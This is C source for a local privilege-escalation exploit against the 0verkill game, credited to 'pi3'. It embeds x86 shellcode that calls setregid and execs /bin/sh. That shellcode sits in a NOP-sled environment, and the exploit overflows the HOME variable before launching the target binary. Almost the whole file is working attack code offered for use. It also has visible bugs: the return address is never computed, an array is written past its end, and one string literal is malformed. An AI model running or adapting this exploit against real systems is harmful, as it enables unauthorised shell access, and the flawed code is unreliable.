/*
 * Simple local exploit for 0verkill by pi3 (pi3ki31ny)
 * Greetz: [greetz on my web] && other my friends (you know who you are)
 *
 *         ...::: -=[ www.pi3.int.pl ]=- :::...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

//#define PATH "/root/root/all/gry/0verkill/0verkill"
#define PATH "./0verkill"
#define BUFS 300

/*    ...::: -=[ www.pi3.int.pl ]=- :::...    */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
                   "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
                   "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
                   "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
                   "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
                   "\x80"

/*    setregid (20,20)    */

                   "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
		   "\xcd\x80"
			
/*    exec /bin/sh    */

                   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                   "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
                   "\x80"

/*    exit(0)    */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {
   
   return (0xbffffffa-strlen(a1)-strlen(a2));
}

int ussage(char *arg) {
   
   printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]=- :::...\n");
   printf("\n\tUssage:\n\t[+] %s [options]\n
	    -? <this help screen>
	    -o <offset>
	    -p PATH\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {
   
   long ret,*buf_addr;
   char *path=PATH;
   static char *sh[0x03];
   char envp[8196],home[301];
   int i,opt,offset=0;
   FILE *fp;
   
   while((opt = getopt(argc,argv,"p:o:?")) != -1) {
	 switch(opt) {
	 	    
	  case 'o':

	    offset=atoi(optarg);
	    break;
	    
	  case 'p':
	    
	    path=optarg;
	    break;
	    
	  case '?':
	  default:
	    
	    ussage(argv[0]);
	    break;
	 }
   }
   
   if ( (fp=fopen(path,"r"))==NULL) {
      printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
      ussage(argv[0]);
   } fclose(fp);
      
   printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]=- :::...\n");
   printf("\n\t[+] Bulding buffors!\n");

   memset(envp,0x90,sizeof(envp));
   memcpy(&envp[8196-strlen(shellcode)-2], shellcode, strlen(shellcode));
   envp[8195]='\0';

   strcpy(home,"HOME=");
   buf_addr=(long*)&home[5];
   for(i=0;i<BUFS/4;i++) {
    *(buf_addr++) = ret;
   }
   home[301]=NULL;
   printf("\t[+] Using address 0x%x\n",ret);
   printf("\nExecuting the vuln program - %s\n\n",path);

   sh[0x00]=envp;
   sh[0x01]=home;
   sh[0x02]=NULL;

   execle(path,path,0,sh);
   return 0;
}